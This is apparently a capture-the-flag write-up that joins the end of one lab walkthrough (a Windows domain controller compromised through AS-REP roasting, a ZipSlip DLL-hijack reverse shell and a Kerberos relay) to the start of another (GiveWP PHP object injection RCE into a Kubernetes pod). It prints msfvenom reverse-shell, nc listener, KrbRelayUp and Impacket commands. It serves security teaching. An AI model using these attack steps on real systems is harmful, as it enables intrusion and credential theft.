|_clock-skew: mean: -40s, deviation: 0s, median: -40s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.09 seconds
The box shows many of the ports associated with a Windows Domain Controller as well as FTP (21), HTTP (80), and RDP (3389). The domain is bruno.vl, and the hostname is brunodc.
I’ll use netexec to make a hosts file entry and put it at the top of my /etc/hosts file:
I’ll point feroxbuster at the site using a lowercase wordlist as IIS is typically case-insensitive:
oxdf@hacky$feroxbuster -u http://bruno.vl -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://bruno.vl
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter301 GET 2l 10w 153c http://bruno.vl/aspnet_client => http://bruno.vl/aspnet_client/200 GET 334l 2089w 180418c http://bruno.vl/iisstart.png
200 GET 32l 55w 703c http://bruno.vl/
404 GET 42l 157w 1914c http://bruno.vl/con
404 GET 42l 157w 1928c http://bruno.vl/aspnet_client/con
404 GET 42l 157w 1914c http://bruno.vl/aux
404 GET 42l 157w 1928c http://bruno.vl/aspnet_client/aux
301 GET 2l 10w 164c http://bruno.vl/aspnet_client/system_web => http://bruno.vl/aspnet_client/system_web/404 GET 42l 157w 1939c http://bruno.vl/aspnet_client/system_web/con
400 GET 6l 26w 324c http://bruno.vl/aspnet_client/error%1F_log
400 GET 6l 26w 324c http://bruno.vl/error%1F_log
404 GET 42l 157w 1928c http://bruno.vl/aspnet_client/prn
404 GET 42l 157w 1939c http://bruno.vl/aspnet_client/system_web/aux
404 GET 42l 157w 1914c http://bruno.vl/prn
400 GET 6l 26w 324c http://bruno.vl/aspnet_client/system_web/error%1F_log
404 GET 42l 157w 1939c http://bruno.vl/aspnet_client/system_web/prn
[####################] - 78s 79761/79761 0s found:16 errors:121
[####################] - 50s 26584/26584 529/s http://bruno.vl/
[####################] - 43s 26584/26584 618/s http://bruno.vl/aspnet_client/
[####################] - 65s 26584/26584 406/s http://bruno.vl/aspnet_client/system_web/
It finds the basic default IIS stuff, but nothing interesting.
dev.bruno.vl - TCP 80
Site
The site is titled SampleUploader:
It has a form to take a file, and shows a list in “Queue”, “Benign”, and “Malicious”. I’ll create a simple file named 0xdf-test.txt (which isn’t really a Windows executable, but that’s ok) and upload it:
After a minute or so it shows up in Benign:
I’ll play with other file formats, but only .exe shows up in the Queue section or anywhere else.
Tech Stack
The HTTP headers look similar to the main site, though there are some additional AspNet headers:
HTTP/1.1200OKCache-Control:privateContent-Type:text/html; charset=utf-8Server:Microsoft-IIS/10.0X-AspNetMvc-Version:5.2X-AspNet-Version:4.0.30319X-Powered-By:ASP.NETDate:Thu, 19 Feb 2026 22:22:45 GMTContent-Length:2874
X-AspNet-Version: 4.0.30319 and X-AspNetMvc-Version: 5.2 indicate this site is running ASP.NET MVC 5 on .NET Framework 4.
The 404 page is different:
This is the ASP.NET 404. This suggests that the main site was IIS serving static HTML, whereas this is using ASP.NET to process requests.
SMB - TCP 445
I’m not able to list any shares using null or guest auth:
These file also leak a filepath from the machine they were written on, C:\\Users\\xct\\. It’s not guaranteed this is Bruno, but it could be.
The changelog file shows this is some kind of malware scanning engine:
Version 0.3
- integrated with dev site
- automation using svc_scan
Version 0.2
- additional functionality
Version 0.1
- initial support for EICAR string
I’ll note both xct and svc_scan as potential usernames.
Run It
If I try to run it in a Windows VM, it may fail for missing an old .NET version:
PS >.\SampleScanner.exeYou must install or update .NET to run this application.
App: Z:\hackthebox\bruno-10.129.238.9\app\SampleScanner.exe
Architecture: x64
Framework: 'Microsoft.NETCore.App', version '3.1.0' (x64)
.NET location: C:\Program Files\dotnet\
The following frameworks were found:
6.0.25 at [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
6.0.33 at [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
7.0.14 at [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
8.0.0 at [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
8.0.8 at [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Learn more:
https://aka.ms/dotnet/app-launch-failed
To install missing framework, download:
https://aka.ms/dotnet-core-applaunch?framework=Microsoft.NETCore.App&framework_version=3.1.0&arch=x64&rid=win-x64&os=win10
I’ll install that from the link provided, and then it runs, this time failing for not having a C:\samples\queue directory:
PS >.\SampleScanner.exeUnhandled exception. System.IO.DirectoryNotFoundException: Could not find a part of the path 'C:\samples\queue'.
at System.IO.Enumeration.FileSystemEnumerator`1.CreateDirectoryHandle(String path, Boolean ignoreNotFound)
at System.IO.Enumeration.FileSystemEnumerator`1.Init()
at System.IO.Enumeration.FileSystemEnumerator`1..ctor(String directory, Boolean isNormalized, EnumerationOptions options)
at System.IO.Enumeration.FileSystemEnumerable`1..ctor(String directory, FindTransform transform, EnumerationOptions options, Boolean isNormalized)
at System.IO.Enumeration.FileSystemEnumerableFactory.UserFiles(String directory, String expression, EnumerationOptions options)
at System.IO.Directory.InternalEnumeratePaths(String path, String searchPattern, SearchTarget searchTarget, EnumerationOptions options)
at SampleScanner.Program.Main(String[] args)
I can create one, but for now I’ll see what the binary is doing with RE.
Reversing
There are many .NET decompilers. ILSpy works nicely on Linux, but I prefer DotPeek on a Windows VM. Loading the .exe will load the .dll (assuming the name is the same and it’s in the same folder), or I can just load the .dll directly. There are two functions:
It can’t have the raw string to avoid triggering AV itself, so it builds a similar string and then uses the Replace string function to generate the real string from the template one and converts it to bytes.
Next it loops over files in C:\samples\queue. If there’s a .zip file, it extracts it into C:\samples\queue (presumably to be processed on the next loop). Otherwise, it copies the file to malicious if the EICAR string is in the file and benign otherwise. Then it deletes the original file:
There are some potential attacks here if I can get the right file processed by the pipeline. I don’t see any vulnerability in the string matching, but there could be something I could do with zip archives. Unfortunately, the site doesn’t seem to accept anything that isn’t a .exe, and FTP is read only.
I’ll turn to other enumeration for now.
AS-REP-Roast
I’ll enumerate Active Directory a bit more. One common check before I have any auth is to look for AS-REP-Roastable users. I only have one valid username at this point, but it works!
$ hashcat svc_scan.asreproast /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
...[snip]...
$krb5asrep$23$svc_scan@BRUNO.VL:fd02ae5687c52c5609c5f0b200b97701$68a48d72437c7b7dded526b38778444aa46eee547d8518e02bf48ff9d85663f868e224b465ebe1ffb958ea5c00a0595710c1555cb5ff6a5413af8850aa2a6577429afed994c8ee577d3d4be441b6f5fe38465cac4fdb8e438d9432520236d12f54feddbecca1711532e59765bc0b9679f883d091b1ee3321baa50e390ba624eeacd96b53be0f82915b6c79ac70f8badd844b647df624b56590cce5e9c6b66ad7e93c13daf47bcc9b40999ef3cbd969f613651c5fbbb6872f58de405cf75db5e8b2f8ce67924933a14fc9ddff595b7b6b5b48f7fd1fa8b08c156e940ef4da24585174b2a4:Sunshine1
...[snip]...
It cracks to “Sunshine1” in about 12 seconds on my host.
oxdf@hacky$smbclient //brunodc.bruno.vl/queue -U'svc_scan%Sunshine1'Try "help" to get a list of possible commands.
smb: \>ls . D 0 Thu Feb 19 23:19:50 2026
.. D 0 Wed Jun 29 13:41:03 2022
4980479 blocks of size 4096. 540813 blocks available
But if I upload a .exe file via the dev website, it shows up:
smb: \> ls . D 0 Thu Feb 19 23:22:12 2026
.. D 0 Wed Jun 29 13:41:03 2022
test.exe A 49946 Thu Feb 19 23:22:12 2026
4980479 blocks of size 4096. 540752 blocks available
Similarly, if I put a file over SMB:
smb: \> put test.exe smb.exe
putting file test.exe as \smb.exe (184.8 kb/s) (average 184.8 kb/s)
It shows up on the site:
And it processed.
I can also put non-.exe files. If I make a zip archive with two .exe files:
oxdf@hacky$unzip -l ziptest
Archive: ziptest.zip
Length Date Time Name
--------- ---------- ----- ----
0 2026-02-19 18:55 ziptest/
5 2026-02-19 18:55 ziptest/test1.exe
5 2026-02-19 18:55 ziptest/test2.exe
--------- -------
10 3 files
And upload it to SMB:
smb: \> put ziptest.zip
putting file ziptest.zip as \ziptest.zip (7.1 kb/s) (average 147.9 kb/s)
It shows up on the site:
And after it processes:
Another minute later:
It seems to have trouble deleting the .zip file, which means the exes get unpacked over and over after they get moved.
ZipSlip
Strategy
ZipSlip is a class of vulnerabilities where a maliciously crafted archive can write outside of the target directory. Searching for “.NET zipslip”, the first result is an interesting post:
While extracting the archive, you will concatenate the destination path and the path of the entry with a code similar to Path.Combine(destinationDirectoryFullPath, entry.FullName). Then, you must check the path is under the destination directory.
Because I have full control over entry.FullName coming out of the archive, I can slip this with an absolute path (much like Python, when combining paths if an argument has an absolute path, everything before it is dropped) or with a .. to move up directories.
POC
To test this, I’ll create a simple zip that will write outside the target directory. Based on the filepaths I’ve seen, I suspect that the FTP share is C:\samples\ and the SMB share is C:\samples\queue. I’ll try to write to ..\app\:
oxdf@hacky$uvrunpythonPython 3.13.7 (main, Sep 18 2025, 19:47:49) [Clang 20.1.4 ] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>importzipfile>>>withzipfile.ZipFile('slip.zip','w')aszip:... zip.writestr('../app/0xdf.txt', 'ABCD')
...
I’ll upload this over SMB:
smb: \> put slip.zip
putting file slip.zip as \slip.zip (0.1 kb/s) (average 0.1 kb/s)
It seems that something starts SampleScanner.exe every minute on a scheduled task. If I can find a way to drop a DLL into the app directory that is loaded by SampleScanner.exe, it will load and I’ll get RCE.
Identify DLL
I’ll set up my Windows VM to have the same folder structure as Bruno:
I’ll drop all the application files in app, and now it runs without erroring:
To find DLL hijacking targets, I’m going to look for file events where the Result is “NAME NOT FOUND”, the path ends in “.dll”, and the process is “SampleScanner.exe”. This configuration will show places where the process tried to open a DLL and it wasn’t there. The rest of the “Remove” filters are the default ones that come with ProcMon that keep it from showing itself.
Now if I run again, there are a handful of CreateFile calls that meet this criteria:
CreateFile is the Windows API for getting a file handle to a new or existing file. If it’s given the arguments to say only open an existing file (don’t create one), then the result will show as “NAME NOT FOUND” in ProcMon if it doesn’t exist. That means if we can create that DLL, it will load. The first one looks like a location that I can write to, so I’ll target C:\samples\app\hostfxr.dll.
If I remove the “NAME NOT FOUND” filter, I’ll see that just after it checks for C:\samples\app\hostfxr.dll, it finds the DLL in C:\Program Files\dotnet\fxr\8.0.8\hostfxr.dll:
This is the Windows DLL load order that checks the current directory first for most DLLs.
Create Attack Payload
I’ll use msfvenom to create a DLL that is a reverse shell back to my IP that I can catch with nc:
oxdf@hacky$msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.4 LPORT=443 -f dll -o hostfxr.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: hostfxr.dll
Back in Python, I’ll use this file to create a zip:
A minute later when it runs again, it loads the DLL and a reverse shell connects as svc_scan:
oxdf@hacky$rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.238.9 54286
Microsoft Windows [Version 10.0.20348.768]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoamibruno\svc_scan
I’ll grab user.txt from the svc_scan user’s desktop:
C:\Users>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users>
Shell as Administrator
Enumeration
Users
There are no other users in C:\Users besides Administrator:
Signing is not required on LDAP, which means it could be vulnerable to relay attacks. Channel binding is also disabled, which means relay attacks against LDAPS would work as well. The MachineAccountQuota is set at 10, meaning a user can add up to 10 machines to the domain. Adding a machine to the domain provides an account with a service principal name (SPN) that I control, which will prove useful for relay attacks.
Kerberos Relay
Strategy
I’m going to perform a Kerberos relay attack. To complete this attack, I’ll need to take the following steps:
Create a new machine account with a known password.
Use the DCOM OXID resolver to coerce authentication via Kerberos as the local machine’s SYSTEM account.
Relay that authentication to the DC where is uses it to modify the msDS-AllowedToActOnBehalfOfOtherIdentity of the local machine so that the new machine account can act on its behalf (RBCD).
Now I can request a service ticket with that machine account as any user using S4U2Self and S4U2Proxy.
The KrbRelayUp project has a binary that will perform the first three steps. Then I can run getST.py from Impacket to get a service ticket and access to the box.
Find CLSID
For this to work, the DCOM coercion step needs a COM object (identified by its CLSID) that will trigger SYSTEM authentication. By default, KrbRelayUp uses the CLSID 90f18417-f0f1-484e-9d3c-59dceee5dbd8, which is the ActiveX Installer Service (AxInstSV). If that service isn’t active, I’ll have to find a different CLSID.
GetCLSID.ps1 from JuicyPotato will help with that. I’ll upload and run it:
CLSIDs.csv maps each CLSID to its backing Windows service (the LocalService column). A CLSID is just a pointer to a COM object. To actually activate it, the underlying service needs to be running (or at least startable).
I’ll have Claude write me some PowerShell to try each line and look for running services, and one’s that I can activate:
PS C:\ProgramData>Import-CsvWindows_Server_2022_Datacenter\CLSIDs.csv|ForEach-Object{$entry=$_;try{$svc=Get-Service$entry.LocalService-ErrorActionStop;if($svc.Status-eq"Running"){try{[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID($entry.CLSID.Trim("{}")))|Out-Null;"$($entry.LocalService) | $($entry.CLSID) | Activate OK"}catch{if($_.Exception.Message-match"80070005"){$r="Access Denied"}elseif($_.Exception.Message-match"80040111"){$r="Class Not Available"}elseif($_.Exception.Message-match"80070422"){$r="Service Disabled"}else{$r="Failed"};"$($entry.LocalService) | $($entry.CLSID) | $r"}}}catch{}}CertSvc | {D99E6E73-FC88-11D0-B498-00A0C90312F3} | Activate OK
UsoSvc | {84C80796-F07C-4340-8897-DA954AADBF16} | Class Not Available
vds | {7D1933CB-86F6-4A98-8628-01BE94C9A575} | Access Denied
It finds three, but only CertSvc can I activate.
KrbRelayUp
I’ll use KrbRelayUp.exe to perform this attack. If I don’t give it a CLSID, it uses the default and fails:
PS C:\programdata>.\KrbRelayUp.exerelay-Domainbruno.vl-CreateNewComputerAccount-ComputerName'0xdf$'-ComputerPassword0xdf0xdfKrbRelayUp - Relaying you to SYSTEM
[+] Rewriting function table
[+] Rewriting PEB
[+] Init COM server
[+] Computer account "0xdf$" added with password "0xdf0xdf"
[+] Looking for available ports..
[+] Port 10246 available
[+] Register COM server
[+] Forcing SYSTEM authentication
System.Runtime.InteropServices.COMException (0x80070422): The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
at KrbRelayUp.Relay.Ole32.CoGetInstanceFromIStorage(COSERVERINFO pServerInfo, Guid& pclsid, Object pUnkOuter, CLSCT
X dwClsCtx, IStorage pstg, UInt32 cmq, MULTI_QI[] rgmqResults)
at KrbRelayUp.Relay.Relay.Run()
I’ll give it the CLSID that validated in the section above, and I’ll have to try a new computer name:
PS C:\ProgramData>.\KrbRelayUp.exerelay-Domainbruno.vl-CreateNewComputerAccount-ComputerName'oxdf$'-ComputerPassword0xdf0xdf-clsD99E6E73-FC88-11D0-B498-00A0C90312F3KrbRelayUp - Relaying you to SYSTEM
[+] Rewriting function table
[+] Rewriting PEB
[+] Init COM server
[+] Computer account "oxdf$" added with password "0xdf0xdf"
[+] Looking for available ports..
[+] Port 10246 available
[+] Register COM server
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relying to LDAP now...
[+] LDAP session established
[+] RBCD rights added successfully
[+] Run the spawn method for SYSTEM shell:
./KrbRelayUp.exe spawn -m rbcd -d bruno.vl -dc brunodc.bruno.vl -cn oxdf$ -cp 0xdf0xdf
It worked! It gives another command to run, spawn, which will launch a CMD terminal as SYSTEM. This won’t help me much here without an interactive access to the host like RDP.
Instead I’ll make a service ticket as the oxdf$ account impersonating the Administrator account from my VM:
oxdf@hacky$getST.py -spn'HOST/brunodc.bruno.vl'-impersonate administrator -dc-ip 10.129.238.9 bruno.vl/oxdf$:'0xdf0xdf'Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@HOST_brunodc.bruno.vl@BRUNO.VL.ccache
I’ll use the ticket with wmiexec.py from Impacket to get a shell:
oxdf@hacky$KRB5CCNAME=administrator@HOST_brunodc.bruno.vl@BRUNO.VL.ccache wmiexec.py administrator@brunodc.bruno.vl -k-no-passImpacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoamibruno\administrator
Giveback starts with a WordPress website with a donation plugin that’s vulnerable to a RCE exploit. I’ll get a shell in a Kubernetes pod, and use it to scan an internal legacy app running PHP-CGI. I’ll abuse a vulnerability in that application to get to the next pod, where I’ll find a Kubernetes secret to interact with the API and dump secrets. I’ll use an SSH password to get on the host. For root I’ll abuse a custom wrapper around runc two different ways.
nmap finds three open TCP ports, SSH (22), and HTTP (80, 30686):
oxdf@hacky$sudo nmap -p--vvv--min-rate 10000 10.129.242.171
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-13 22:59 UTC
...[snip]...
Nmap scan report for 10.129.242.171
Host is up, received echo-reply ttl 63 (0.022s latency).
Scanned at 2026-02-13 22:59:51 UTC for 8s
Not shown: 62779 closed tcp ports (reset), 2753 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 62
30686/tcp open unknown syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.11 seconds
Raw packets sent: 78069 (3.435MB) | Rcvd: 62787 (2.511MB)
oxdf@hacky$nmap -p 22,80,30686 -sCV 10.129.242.171
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-13 23:00 UTC
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-13 23:00 UTC
Nmap scan report for 10.129.242.171
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA)
|_ 256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519)
80/tcp open http nginx 1.28.0
|_http-generator: WordPress 6.8.1
|_http-server-header: nginx/1.28.0
|_http-title: GIVING BACK IS WHAT MATTERS MOST – OBVI
30686/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 200 OK
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Load-Balancing-Endpoint-Weight: 1
| Date: Fri, 13 Feb 2026 23:01:16 GMT
| Content-Length: 127
| "service": {
| "namespace": "default",
| "name": "wp-nginx-service"
| "localEndpoints": 1,
| "serviceProxyHealthy": true
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Load-Balancing-Endpoint-Weight: 1
| Date: Fri, 13 Feb 2026 23:00:47 GMT
| Content-Length: 127
| "service": {
| "namespace": "default",
| "name": "wp-nginx-service"
| "localEndpoints": 1,
|_ "serviceProxyHealthy": true
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port30686-TCP:V=7.94SVN%I=7%D=2/13%Time=698FAD17%P=x86_64-pc-linux-gnu%
SF:r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
SF:ad\x20Request")%r(GetRequest,132,"HTTP/1\.0\x20200\x20OK\r\nContent-Typ
SF:e:\x20application/json\r\nX-Content-Type-Options:\x20nosniff\r\nX-Load-
SF:Balancing-Endpoint-Weight:\x201\r\nDate:\x20Fri,\x2013\x20Feb\x202026\x
SF:2023:00:47\x20GMT\r\nContent-Length:\x20127\r\n\r\n{\n\t\"service\":\x2
SF:0{\n\t\t\"namespace\":\x20\"default\",\n\t\t\"name\":\x20\"wp-nginx-ser
SF:vice\"\n\t},\n\t\"localEndpoints\":\x201,\n\t\"serviceProxyHealthy\":\x
SF:20true\n}")%r(HTTPOptions,132,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20application/json\r\nX-Content-Type-Options:\x20nosniff\r\nX-Load-Bal
SF:ancing-Endpoint-Weight:\x201\r\nDate:\x20Fri,\x2013\x20Feb\x202026\x202
SF:3:00:47\x20GMT\r\nContent-Length:\x20127\r\n\r\n{\n\t\"service\":\x20{\
SF:n\t\t\"namespace\":\x20\"default\",\n\t\t\"name\":\x20\"wp-nginx-servic
SF:e\"\n\t},\n\t\"localEndpoints\":\x201,\n\t\"serviceProxyHealthy\":\x20t
SF:rue\n}")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConten
SF:t-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n
SF:400\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close
SF:\r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie
SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;
SF:\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request"
SF:)%r(TLSSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Typ
SF:e:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x
SF:20Bad\x20Request")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,132,"HTTP/1\.0\x2020
SF:0\x20OK\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:
SF:\x20nosniff\r\nX-Load-Balancing-Endpoint-Weight:\x201\r\nDate:\x20Fri,\
SF:x2013\x20Feb\x202026\x2023:01:16\x20GMT\r\nContent-Length:\x20127\r\n\r
SF:\n{\n\t\"service\":\x20{\n\t\t\"namespace\":\x20\"default\",\n\t\t\"nam
SF:e\":\x20\"wp-nginx-service\"\n\t},\n\t\"localEndpoints\":\x201,\n\t\"se
SF:rviceProxyHealthy\":\x20true\n}");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.47 seconds
Based on the OpenSSH version, the host is likely running Ubuntu 22.04 jammy LTS. The nginx version is very close to the version currently in SID (the unstable development branch) and Debian 14 Forky (coming in 2027).
There’s one additional hop to get to the webserver on 80:
That extra hop to port 80 suggests the web traffic is being routed through a container network, while SSH and 30686 are handled directly by the host. The TTLs of 63 are consistent with the expected TTL for Linux one hop away.
Website - TCP 80
Site
The site is a charity site:
The single post has some hints about “new technologies” and a potential username, babywyrm:
The site is super broken. There’s a link at the top in the menu bar for “Donation Failed” that returns a donation failure page:
In the search bar, searching for common words like “a” and “the” finds another page, which sits at /sample-page/:
That page offers a form to donate:
There’s also a “Donor Dashboard” link that leads to a page that requires a login:
There are some links on the site that load giveback.htb, so I’ll add that to my /etc/hosts file.
Tech Stack
The HTTP response headers show nginx, but also references to “wp”, which typically means WordPress:
HTTP/1.1200OKServer:nginx/1.28.0Date:Sat, 14 Feb 2026 01:38:45 GMTContent-Type:text/html; charset=UTF-8Content-Length:54335Connection:keep-aliveLink:<http://10.129.242.171/wp-json/>; rel="https://api.w.org/"Vary:Accept-Encoding
The source has tons of “wp” strings, including the path wp-includes (which is classic WordPress):
The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the ‘give_title’ parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code remotely, and to delete arbitrary files.
There’s a nice POC for the vulnerability from EQSTLab. It’s a bit overly complex with how it’s structured, but it basically gets some data from the page and then makes a request with a serialized PHP object.
POC
I’ll clone the repo and add the metadata to the script so that uv can run and manage the virtual environment:
It takes the URL of the donation page and a command to run:
oxdf@hacky$uv run CVE-2024-5932-rce.py --helpInstalled 15 packages in 42ms
Usage: CVE-2024-5932-rce.py [OPTIONS]
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --url -u TEXT Specify a URL or domain for vulnerability detection (Donation-Form Page) [required] │
│ --cmd -c TEXT Specify the file to read from the server │
│ --help Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
The execution is blind, so I’ll have to try something that connects back. ping, curl, and wget don’t work, but a bash reverse shell does:
oxdf@hacky$nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.242.171 33271
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
<-774fb955fd-8tx5b:/opt/bitnami/wordpress/wp-admin$
<-774fb955fd-8tx5b:/opt/bitnami/wordpress/wp-admin$script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
<-774fb955fd-8tx5b:/opt/bitnami/wordpress/wp-admin$^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo ; fg
nc -lnvp 443
reset
bash: reset: command not found
<-774fb955fd-8tx5b:/opt/bitnami/wordpress/wp-admin$
Shell as root on legacy-internet-cms Pod
Enumeration
Kubernetes Pod Identification
This is a Kubernetes pod. If I switch directories to the root I’ll see the full prompt:
<-774fb955fd-8tx5b:/opt/bitnami/wordpress/wp-admin$cd /
I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/$
“I have no name!” is because this user has no mapping in the passwd file:
I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/$ iduid=1001 gid=0(root) groups=0(root),1001
I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
The hostname matches the default K8s naming pattern of <deployment>-<replicaset-hash>-<pod-hash>, so the deployment name is “beta-vino-wp-wordpress”, the replicaset hash is “774fb955fd”, and the pod-unique hash is “8tx5b”.
The files in the filesystem root also match Kubernetes:
I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/$ lsbin bitnami boot dev etc home lib lib64 media mnt opt post-init.d post-init.sh proc root run sbin secrets srv sys tmp usr var
/secrets is likely the mounted K8s secrets directory. post-init.d and post-init.sh are the Bitnami K8s container init scripts.
This all matches up with what was observed on port 30686 above. And the environment is so stripped down. No ping, curl, reset, or stty. There are no directories in /home, and root is the only user with a shell set. It’s common in K8s containers with securityContext.runAsUser set to end up with processes running as a UID that isn’t in /etc/passwd.
The /etc/hosts file also says it’s managed by Kubernetes:
I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/$cat /etc/hosts
# Kubernetes-managed hosts file.
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.42.1.250 beta-vino-wp-wordpress-756bfc779d-qfp6m
